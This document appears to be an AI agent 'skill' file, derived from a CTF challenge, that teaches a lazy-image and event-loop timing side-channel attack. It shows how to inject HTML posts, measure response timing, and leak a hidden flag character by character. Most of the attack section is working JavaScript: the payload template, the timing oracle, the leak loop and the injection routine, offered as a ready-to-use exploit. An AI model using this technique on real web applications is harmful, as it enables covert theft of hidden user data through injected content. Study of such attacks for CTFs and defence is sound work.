Lazy Image Side-Channel Attack

This skill teaches you how to perform timing-based side-channel attacks that combine lazy image loading with event loop blocking to leak characters from hidden data.

When to Use This Technique

Use this attack when:

• You have HTML/XSS injection capability
• The target uses lazy image loading (

  loading="lazy"

  )
• You can measure request/response timing
• The application loads content in a predictable order (alphabetical, chronological, etc.)
• You need to extract hidden data character-by-character

Core Concept

The attack exploits how browsers handle lazy image loading:

1. Lazy images only load when visible - Images with

   loading="lazy"

   don't load until they scroll into viewport
2. Event loop blocking - When many images load simultaneously, they block the Node.js event loop
3. Timing oracle - Blocked event loop = slower responses, which you can measure

The Exploit Flow

┌─────────────────────────────────────────────────────────────┐
│ 1. Inject post with:                                        │
│    - Character to test (e.g., "A" or "Z")                   │
│    - Large canvas (fills screen)                            │
│    - Many lazy images (at bottom, below fold)               │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. If injected post is FIRST (alphabetically):              │
│    - Canvas fills screen                                    │
│    - Lazy images are BELOW fold → NOT loaded                │
│    - Event loop NOT blocked → FAST responses                │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. If injected post is AFTER flag:                          │
│    - Flag post appears first                                │
│    - Canvas + lazy images are VISIBLE → images LOAD         │
│    - Event loop BLOCKED → SLOW responses                    │
└─────────────────────────────────────────────────────────────┘

Attack Implementation

Step 1: Craft the Payload

<!-- Template for character testing -->
${CHAR_TO_TEST}<br>
<canvas height="3350px"></canvas><br>
${LAZY_IMAGES}

Where

LAZY_IMAGES

is:

<img loading="lazy" src="/?0">
<img loading="lazy" src="/?1">
<img loading="lazy" src="/?2">
<!-- ... repeat 20+ times -->

Key parameters to tune:

• canvas height

  : Must be large enough to push images below fold when post is first

• number of lazy images

  : More images = more event loop blocking = clearer timing difference

• timing threshold

  : Measure on target to find the cutoff between "blocked" and "not blocked"

Step 2: Measure Timing

async function measureTiming(targetUrl, rounds = 30) {
  let totalTime = 0;
  
  for (let i = 0; i < rounds; i++) {
    const start = performance.now();
    await fetch(targetUrl + "/?test", { mode: "no-cors" });
    const end = performance.now();
    totalTime += (end - start);
  }
  
  return totalTime / rounds; // average per request
}

Step 3: Binary Search for Characters

const charset = "abcdefghijklmnopqrstuvwxyz{}0123456789";
let flag = "SEKAI{";

async function leakCharacter() {
  for (const char of charset) {
    const testString = flag + char;
    const isBeforeFlag = await testCharacter(testString);
    
    if (isBeforeFlag) {
      flag += char;
      break;
    }
  }
  return flag;
}

Step 4: Test Character Position

async function testCharacter(testString) {
  // 1. Inject post with test string + payload
  await injectPost(testString + payload);
  
  // 2. Wait for page to load
  await sleep(500);
  
  // 3. Open multiple tabs to trigger image loading
  for (let i = 0; i < 5; i++) {
    window.open(targetUrl);
  }
  
  // 4. Measure timing
  await sleep(200);
  const avgTime = await measureTiming(targetUrl);
  
  // 5. Clean up
  await removePost();
  
  // 6. Return result based on threshold
  return avgTime >= THRESHOLD; // true = images loaded = post is after flag
}

Tuning Parameters

Finding the Right Canvas Height

Test locally to find the height that:

• Shows images when post is NOT first (below flag)
• Hides images when post IS first (above flag)

// Test different heights
const heights = [3000, 3200, 3350, 3500, 4000];
for (const h of heights) {
  const canvas = `<canvas height="${h}px"></canvas>`;
  // Test and measure timing difference
}

Finding the Timing Threshold

Run multiple tests with known positions:

// Test with "A" (should be before flag)
const timeA = await measureTiming();

// Test with "Z" (should be after flag)
const timeZ = await measureTiming();

// Threshold should be between them
const threshold = (timeA + timeZ) / 2;

Complete Exploit Template

See

scripts/exploit-template.js

for a ready-to-use template.

Common Pitfalls

1. Threshold too tight - Network variance can cause false positives. Use multiple rounds and average.
2. Canvas height wrong - Images may load in both cases or neither. Test locally first.
3. Not enough lazy images - Event loop blocking may be too subtle. Use 20+ images.
4. Timing measurements too few - Use 30+ rounds for reliable averages.
5. Not cleaning up - Remove test posts between iterations to avoid breaking the oracle.

When This Won't Work

• Target doesn't use lazy image loading
• You can't inject HTML
• Content isn't loaded in predictable order
• Server doesn't have event loop blocking vulnerability
• CORS prevents timing measurements

Related Techniques

• Connection pool exhaustion - Similar timing oracle, different mechanism
• DNS side-channels - Use DNS queries instead of HTTP timing
• Cache timing attacks - Exploit cache hit/miss timing differences

References

• Original exploit: https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45
• Author: @aszx87410
• Challenge: CTF with alphabetical post ordering